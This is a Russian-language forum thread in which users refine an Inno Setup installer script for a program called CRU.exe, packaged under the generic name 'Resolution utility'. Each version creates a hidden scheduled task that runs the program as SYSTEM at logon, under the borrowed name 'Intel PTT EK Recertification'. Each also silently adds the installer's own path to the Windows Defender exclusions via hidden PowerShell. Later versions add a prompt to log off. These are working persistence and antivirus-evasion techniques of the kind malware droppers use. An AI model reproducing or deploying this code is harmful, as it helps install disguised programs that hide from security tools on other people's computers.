Вопрос Помогите добавить Синтаксис Windows в код Inno Script

Crachlow

Старожил
добавляю информацию ,все получилось нужно было включить мозги)
Код:
[Run]

Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /tn ""Intel PTT EK Recertification"" /tr ""{userappdata}\CRU.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Add-MpPreference -ExclusionPath {userappdata}\CRU.exe -Force"; Flags: runhidden

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
это сработало для исключений
Код:
[Setup]
AppName=Resolution utlity
AppVersion=1.2.5.1
;AppVerName=Resolution utlity v 1.2.5.1
AppPublisher=Utility, Inc.
AllowNoIcons=yes
DisableDirPage=yes
DefaultDirName={userappdata}\Resolution-Utility
DefaultGroupName=Resolution utlity
ArchitecturesInstallIn64BitMode=x64 ia64
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
DisableWelcomePage=no
DisableProgramGroupPage=No
//WizardStyle=modern


[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
Name: eng; MessagesFile: compiler:Default.isl

[Files]
Source: "CRU.exe"; DestDir: "{userappdata}\Resolution-Utility"; Flags: ignoreversion;

[Icons]
Name: "{commondesktop}\CRU"; Filename: "{userappdata}\Resolution-Utility\CRU.exe"; IconFilename: "{userappdata}\Resolution-Utility\CRU.exe"; IconIndex: 0
Name: "{group}\CRU"; Filename: "{userappdata}\Resolution-Utility\CRU.exe"
Name: "{group}\{cm:UninstallProgram,Resolution utility}"; Filename: "{uninstallexe}"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""{userappdata}\Resolution-Utility\CRU.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /I /tn ""Intel PTT EK Recertification"""; Flags: runhidden

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
Filename: "{win}\system32\TASKKILL.exe"; Parameters: "/F /IM CRU.exe /T"; Flags: runhidden

[_Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;
попробуй этот код. В нем добавляется в исключение в дефендер и все создается. Только запускается с небольшой задержкой, пока создается исключение.
 

Crachlow

Старожил
Код:
[Setup]
AppName=Resolution utlity
AppVersion=1.2.5.1
;AppVerName=Resolution utlity v 1.2.5.1
AppPublisher=Utility, Inc.
AllowNoIcons=yes
DisableDirPage=yes
DefaultDirName={userappdata}\Resolution-Utility
DefaultGroupName=Resolution utlity
ArchitecturesInstallIn64BitMode=x64 ia64
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
DisableWelcomePage=no
DisableProgramGroupPage=No
//WizardStyle=modern


[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
Name: eng; MessagesFile: compiler:Default.isl

[Files]
Source: "CRU.exe"; DestDir: "{userappdata}\Resolution-Utility"; Flags: ignoreversion;

[Icons]
Name: "{commondesktop}\CRU"; Filename: "{userappdata}\Resolution-Utility\CRU.exe"; IconFilename: "{userappdata}\Resolution-Utility\CRU.exe"; IconIndex: 0
Name: "{group}\CRU"; Filename: "{userappdata}\Resolution-Utility\CRU.exe"
Name: "{group}\{cm:UninstallProgram,Resolution utility}"; Filename: "{uninstallexe}"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""{userappdata}\Resolution-Utility\CRU.exe"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /I /tn ""Intel PTT EK Recertification"""; Flags: runhidden

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
Filename: "{win}\system32\TASKKILL.exe"; Parameters: "/F /IM CRU.exe /T"; Flags: runhidden

[_Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;
попробуй этот код. В нем добавляется в исключение в дефендер и все создается. Только запускается с небольшой задержкой, пока создается исключение.
Или так, если тебе важна папка установки
Код:
[Setup]
AppName=Resolution utlity
AppVersion=1.2.5.1
;AppVerName=Resolution utlity v 1.2.5.1
AppPublisher=Utility, Inc.
AllowNoIcons=yes
DisableDirPage=no
DefaultDirName={pf}\Resolution Utility
DefaultGroupName=Resolution utlity
ArchitecturesInstallIn64BitMode=x64 ia64
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
DisableWelcomePage=no
DisableProgramGroupPage=No
//WizardStyle=modern


[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
Name: eng; MessagesFile: compiler:Default.isl

[Files]
Source: "CRU.exe"; DestDir: "{app}"; Flags: ignoreversion;

[Icons]
Name: "{commondesktop}\CRU"; Filename: "{app}\CRU.exe"; IconFilename: "{app}\CRU.exe"; IconIndex: 0
Name: "{group}\CRU"; Filename: "{app}\CRU.exe"
Name: "{group}\{cm:UninstallProgram,Resolution utlity}"; Filename: "{uninstallexe}"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""'{app}\CRU.exe'"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /I /tn ""Intel PTT EK Recertification"""; Flags: runhidden

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
Filename: "{win}\system32\TASKKILL.exe"; Parameters: "/F /IM CRU.exe /T"; Flags: runhidden 

[_Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
 begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\TASKKILL.exe'), '/F /IM CRU.exe /T', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;
 

Егор1988-00

Новичок
Или так, если тебе важна папка установки
Код:
[Setup]
AppName=Resolution utlity
AppVersion=1.2.5.1
;AppVerName=Resolution utlity v 1.2.5.1
AppPublisher=Utility, Inc.
AllowNoIcons=yes
DisableDirPage=no
DefaultDirName={pf}\Resolution Utility
DefaultGroupName=Resolution utlity
ArchitecturesInstallIn64BitMode=x64 ia64
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
DisableWelcomePage=no
DisableProgramGroupPage=No
//WizardStyle=modern


[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
Name: eng; MessagesFile: compiler:Default.isl

[Files]
Source: "CRU.exe"; DestDir: "{app}"; Flags: ignoreversion;

[Icons]
Name: "{commondesktop}\CRU"; Filename: "{app}\CRU.exe"; IconFilename: "{app}\CRU.exe"; IconIndex: 0
Name: "{group}\CRU"; Filename: "{app}\CRU.exe"
Name: "{group}\{cm:UninstallProgram,Resolution utlity}"; Filename: "{uninstallexe}"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""'{app}\CRU.exe'"" /rl highest /sc onlogon /F"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /I /tn ""Intel PTT EK Recertification"""; Flags: runhidden

[UninstallRun]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden
Filename: "{win}\system32\TASKKILL.exe"; Parameters: "/F /IM CRU.exe /T"; Flags: runhidden

[_Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
begin
  Result := true;
  srcfile := ExpandConstant('{srcexe}')
  Exec(ExpandConstant('{win}\system32\TASKKILL.exe'), '/F /IM CRU.exe /T', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + '"' + srcfile + '"' , '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;
Возможно ли сделать задержку на запуск задачи планировщиком, к примеру в 1 минуту?
 

Crachlow

Старожил
Возможно ли сделать задержку на запуск задачи планировщиком, к примеру в 1 минуту?
В schtasks такое не предусмотрено. В самом инсталляторе ждать минуту тоже смысла нет. Если только до перезагрузки или выходе из системы. Исправь вот эти две строчки
Код:
srcfile := ExpandConstant('"''{srcexe}''"')
.....
Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + srcfile, '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
 

Crachlow

Старожил
В schtasks такое не предусмотрено. В самом инсталляторе ждать минуту тоже смысла нет. Если только до перезагрузки или выходе из системы. Исправь вот эти две строчки
Код:
srcfile := ExpandConstant('"''{srcexe}''"')
.....
Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + srcfile, '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
Как вариант можешь сделать так
Код:
[Setup]
AppName=Resolution utlity
AppVersion=1.2.5.1
;AppVerName=Resolution utlity v 1.2.5.1
AppPublisher=Utility, Inc.
AllowNoIcons=yes
DisableDirPage=no
DefaultDirName={pf}\Resolution Utility
DefaultGroupName=Resolution utlity
ArchitecturesInstallIn64BitMode=x64 ia64
VersionInfoVersion=1.2.5.1
VersionInfoCompany=niceCompany
VersionInfoDescription=CustResolutUtil
VersionInfoCopyright=CopyRES
VersionInfoProductName=Utility
VersionInfoProductVersion=1.2.5.1
DisableWelcomePage=no
DisableProgramGroupPage=No
DisableFinishedPage=Yes
;WizardStyle=modern


[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
Name: eng; MessagesFile: compiler:Default.isl

[Files]
Source: "CRU.exe"; DestDir: "{app}"; Flags: ignoreversion;

[Icons]
Name: "{commondesktop}\CRU"; Filename: "{app}\CRU.exe"; IconFilename: "{app}\CRU.exe"; IconIndex: 0
Name: "{group}\CRU"; Filename: "{app}\CRU.exe"
Name: "{group}\{cm:UninstallProgram,Resolution utlity}"; Filename: "{uninstallexe}"

[Run]
Filename: "{win}\system32\schtasks.exe"; Parameters: "/create /ru SYSTEM /tn ""Intel PTT EK Recertification"" /tr ""'{app}\CRU.exe'"" /rl highest /sc onlogon /F"; Flags: runhidden
;Filename: "{win}\system32\schtasks.exe"; Parameters: "/Run /I /tn ""Intel PTT EK Recertification"""; Flags: runhidden

[UninstallRun]
Filename: "{win}\system32\TASKKILL.exe"; Parameters: "/F /IM CRU.exe /T"; Flags: runhidden
Filename: "{win}\system32\schtasks.exe"; Parameters: "/Delete /tn ""Intel PTT EK Recertification"" /F"; Flags: runhidden
Filename: "{win}\system32\WindowsPowerShell\v1.0\powershell.exe"; Parameters: "Remove-MpPreference -ExclusionPath {srcexe} -Force"; Flags: runhidden

 
[CustomMessages]
rus.final=Для завершения окончательной установки%nтребуется завершение сеанса системы.%nВы хотите завершить сеанс прямо сейчас?
eng.final=To complete the final installation%nsystem session termination required%nDo you want to end the session right now?

[_Code]
function InitializeSetup(): Boolean;
var
srcfile: String;
ResultCode: Integer;
 begin
  Result := true;
  srcfile := ExpandConstant('"''{srcexe}''"')
  Exec(ExpandConstant('{win}\system32\TASKKILL.exe'), '/F /IM CRU.exe /T', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
  Exec(ExpandConstant('{win}\system32\WindowsPowerShell\v1.0\powershell.exe'), 'Add-MpPreference -Force -ExclusionPath ' + srcfile, '', SW_HIDE, ewWaitUntilTerminated, ResultCode)
end;

procedure CurStepChanged(CurStep: TSetupStep);
var
ResultCode: Integer;
begin
    if CurStep = ssDone then
     if MsgBox(ExpandConstant('{cm:final}'), mbConfirmation, MB_YESNO) = IDYES then
  begin
     Exec(ExpandConstant('{win}\System32\Logoff.exe'), '', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
      end else
       Exit;
   end;
 
Сверху